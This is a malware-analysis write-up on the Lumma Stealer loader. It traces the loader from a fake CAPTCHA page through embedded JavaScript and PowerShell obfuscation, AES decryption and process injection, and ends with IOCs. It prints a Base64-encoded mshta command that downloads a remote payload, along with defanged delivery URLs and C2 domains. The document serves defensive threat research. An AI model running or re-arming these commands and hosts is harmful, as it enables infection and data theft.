In Part 1 of our series on Lumma Stealer, we explored the initial attack vector through a fake CAPTCHA page. We observed how the malware deceives users into downloading and executing malicious payloads. In this second series, we delve deeper into the technical details of the Lumma Stealer’s loader, focusing on its obfuscation techniques and how it ultimately executes its payload. This analysis will cover how we decode obfuscated JavaScript and PowerShell code, and how we identify and analyze the malicious activities carried out by the malware.
Retrieving and Analyzing the Lumma Loader
After the initial infection is established through the fake CAPTCHA page, we analyze the Lumma Stealer loader. The loader is delivered via the following URL:
hxxps[:]//human-check.b-cdn[.]net/verify-captcha-v7[.]html
By analyzing the payload retrieved through mshta
, we start by decoding an encoded Base64 string using CyberChef:
Encoded Bas64 String:
bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AcABvAGsAbwAuAGIALQBjAGQAbgAuAG4AZQB0AC8AcABvAGsAbwAiAA==
Decoded Base64 string:
mshta "hxxps[://]poko[.]b-cdn[.]net/poko""
Examining the ‘poko’ File
The poko
file downloaded from the URL is analyzed using Detect It Easy (DIE) to identify its properties:
- File Type: PE file
- Packer: No signs of packing detected
The file, detected as a PE (Portable Executable) file, shows no signs of packing. Since mshta
processes HTA (HTML Application) files, we suspect that the downloaded binary may contain embedded JavaScript (JS) or VBScript. We search the binary for <script>
tags using DIE’s Advanced mode:
Navigate to Resources in DIE > Filter for
<script>
tags
By filtering for <script>
tags, we locate two sets of these tags. In the Resources tab, use the search functionality to find these <script>
tags, which signal the presence of JavaScript code embedded within the binary.
Dumping JavaScript
There are three ways we can dump the embedded JS data.
Using Detect It Easy
To extract embedded JavaScript, we follow these steps in DIE. Right-clicking on a script tag and selecting “Follow in > Hex” shows us the hex and ASCII representation of the code, confirming that it’s JavaScript.
Looking at the right panel, we see some code inside. After analyzing the first script tag, we use the same approach for the second script tag found under ‘strings’.
From the ASCII symbols, we can see that the script code is closing windows. Now that we have both sections, we can select all the hex values between the opening and closing script tags, copy them, and save them to a file. This will give us the JavaScript code.
Using HexedIT
HexedIT provides an intuitive graphical interface for extracting JavaScript. We open the binary in HexedIT and search for <script>
tags with Ctrl + F
.
We then select the data between these tags and save it to a new file.
Using a Custom Python Script
We can also use a custom Python script to automate the extraction of JavaScript from the binary. The script reads the binary, searches for <script>
tags, and extracts the code between them. Here is a glimpse of the extracted code.
The first script tag contains code that assigns random numbers to different variables.
The second script utilizes the eval
function to execute obfuscated code, which includes a window.close()
function.
The following example Python script illustrates how this can be accomplished:
import sys
import re
def extract_scripts(binary_file):
try:
with open(binary_file, "rb") as f:
binary_data = f.read()
# Convert binary data to string (Assuming it's encoded in utf-8 or similar encoding)
try:
data = binary_data.decode("utf-8", errors='ignore')
except UnicodeDecodeError:
print("[-] Failed to decode binary data.")
sys.exit(1)
# Find all the script tag contents using regex
scripts = re.findall(r'<script.*?>(.*?)</script>', data, re.DOTALL | re.IGNORECASE)
if scripts:
for i, script in enumerate(scripts, start=1):
print(f"[+] Script {i}\n{script.strip()}\n")
else:
print("[-] No Script found.")
except FileNotFoundError:
print(f"[-] File {binary_file} not found.")
except Exception as e:
print(f"[-] An error occurred: {str(e)}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python extract.py <binary_file>")
sys.exit(1)
binary_file = sys.argv[1]
extract_scripts(binary_file)
Debugging the JavaScript
With the JavaScript code dumped, we now focus on deciphering the obfuscation.
First obfuscation
We can beautify the JavaScript code using an online formatter or CyberChef (Generic Code Beautify). This reveals the obfuscated sections more clearly, showing random variable assignments and functions.
After beautifying the code, we observe numerous numbers being assigned to various variables. Further down, we find a variable named PHF
. This indicates that PHF
holds the code passed to the second script via the eval
function.
Using console.log()
, we print the PHF
variable to view another layer of obfuscation.
Second Obfuscation
Beautification of the next layer of code reveals that the zsi
function processes an array of numbers by converting them into characters, which are then concatenated into a string.
We pass the final variables, Hkb
and ZhX
to console.log()
to see the decoded data.
Third obfuscation
After obtaining the data, we see that it includes encoded PowerShell code. This PowerShell script processes several values that appear to be hex data and uses wscript
to execute them.
The code also shows that it uses AES encryption, with the decryption key hardcoded into it.
Decrypting obfuscated code using CyberChef
With the main code and the AES decryption key in hand, we can use CyberChef to decrypt it. We input the key as hex into CyberChef and set the initialization vector (IV) value to “0000000000000000” (sixteen zeros). If no IV is provided, it defaults to null.
The IV value is set to sixteen zeros because the AES encryption algorithm requires an IV of a specific length to ensure secure encryption and decryption. For AES, the IV must match the block size of the algorithm, which is 128 bits or 16 bytes (16 zeros in hexadecimal representation).
Using a fixed IV, such as sixteen zeros, is common in certain situations, especially when the IV is not dynamically generated or when the encryption is designed to be simple or demonstrative. However, in secure practices, it’s crucial to use a unique and random IV for each encryption operation to prevent predictable patterns and enhance security. In this context, the fixed IV is used because it was hardcoded into the decryption process, which may simplify the analysis but does not represent best practices for secure encryption.
From the CyberChef output, we obtain another PowerShell script. After beautifying the code, we can decipher its functionality. It begins with a function that handles binary data. The EkF
function extracts the zip file and saves it to the temp directory. The QyY
function obfuscates the URL by hiding characters behind numbers, and it contains the URL for downloading the zip file. The nzv
function deobfuscates these numbers into a string. Finally, the YWy
function manages error handling with if/else statements, checking if the file exists and downloading the zip file if it does not.
De-obfuscating PowerShell code
Since the code is in PowerShell, we can use the write-output
function to read the values stored in the variables. We copy the nzv
function, which handles the decryption of characters, and save the results to separate variables. Running the code reveals a URL, and we also see that it uses the native Windows Net.WebClient
to download the file.
Downloaded zip file
We proceed by downloading and unzipping the file. Upon examining its contents, we find that it attempts to impersonate “Aeon Timeline.”
hxxps[://]poko[.]b-cdn[.]net/wifi[.]zip
By performing static analysis with PEStudio, we gather more information about the file. The version details indicate that the installer is masquerading as a PC Cleaner application.
Using DIE, we also confirm that the application has been compiled with Go Language.
Dynamic analysis
After obtaining the binary, we proceed with dynamic analysis and find that the installer triggers BitLockerToGo upon installation.
Our earlier WireShark logs (Part 1) show that BitLockerToGo communicates with the C2 server once it starts. Confirming this behavior, we deduce that the malicious PE file (Aeon Timeline) performs process injection, injecting malicious processes into BitLockerToGo.
Dumping injected process
To dump the malicious process, we use “Hollows Hunter.”
Hollows Hunter is a powerful tool used for detecting and analyzing process injection techniques in Windows environments. It specializes in identifying processes that have been injected with malicious code or exhibit suspicious behavior. By scanning running processes, Hollows Hunter can pinpoint injected code and dump it for further analysis. This tool is particularly valuable for uncovering sophisticated malware that hides its presence by injecting into legitimate processes. It provides security analysts with critical insights into malicious activities, helping them to understand and mitigate threats more effectively.
We first use Process Explorer to identify the Process ID (PID) of BitLockerToGo and pass it as a parameter to Hollows Hunter. The tool then detects the suspicious process and dumps the file.
Lumma C2
After dumping the file, we upload it to VirusTotal, where it is confirmed as Lumma Stealer.
Analyzing the file dumped by Hollows Hunter in DIE reveals that it is a Microsoft Linker file, with no signs of any packer being used.
As is customary with binary analysis, we search for hardcoded domains within the file. Noting that Lumma Stealer has recently been associated with ‘.shop.’ domains, we use this as a filter and find a match.
futureddospzmvq[.]shop
We can also use Ghidra’s search function to pinpoint the exact function that calls the C2 domain.
Summary
In this analysis, we thoroughly examined the Lumma Stealer malware’s loader and payload, uncovering its intricate obfuscation techniques and malicious activities. By dissecting the initial infection vector through a fake CAPTCHA page and following the trail to the embedded PowerShell scripts, we detailed the steps involved in decoding the obfuscated code and understanding its functionality. Our dynamic analysis revealed that the malware, masquerading as a legitimate application, performs process injection to carry out its malicious operations.
Through tools like CyberChef, DIE, and Ghidra, we were able to decrypt, analyze, and identify the core components of the Lumma Stealer. Our findings confirm its operation and provide insights into its behavior and persistence mechanisms. This comprehensive investigation highlights the sophistication of modern malware and underscores the importance of detailed analysis to uncover and understand these threats.
IOC
File Hash
SHA256: fe236cf05365f3fafd7fdf2481cee9b9a5ff087e1ddc5b71fea1bb23b0c306db -> Injected Process
SHA256: fbef3b6316cd8cf77978c8eac780fe471654c0b5dbbc812e4e266475bde39dcc -> 0Aeon Timeline.exe
===================================================
URL:
hxxps[:]//human-check.b-cdn[.]net/verify-captcha-v7[.]html
hxxps[://]poko[.]b-cdn[.]net/wifi[.]zip
===================================================
C2:
bassizcellskz[.]shop
celebratioopz[.]shop
complaintsipzzx[.]shop
deallerospfosu[.]shop
futureddospzmvq[.]shop -> Found inside the binary
languagedscie[.]shop
mennyudosirso[.]shop
quialitsuzoxm[.]shop
writerospzm[.]shop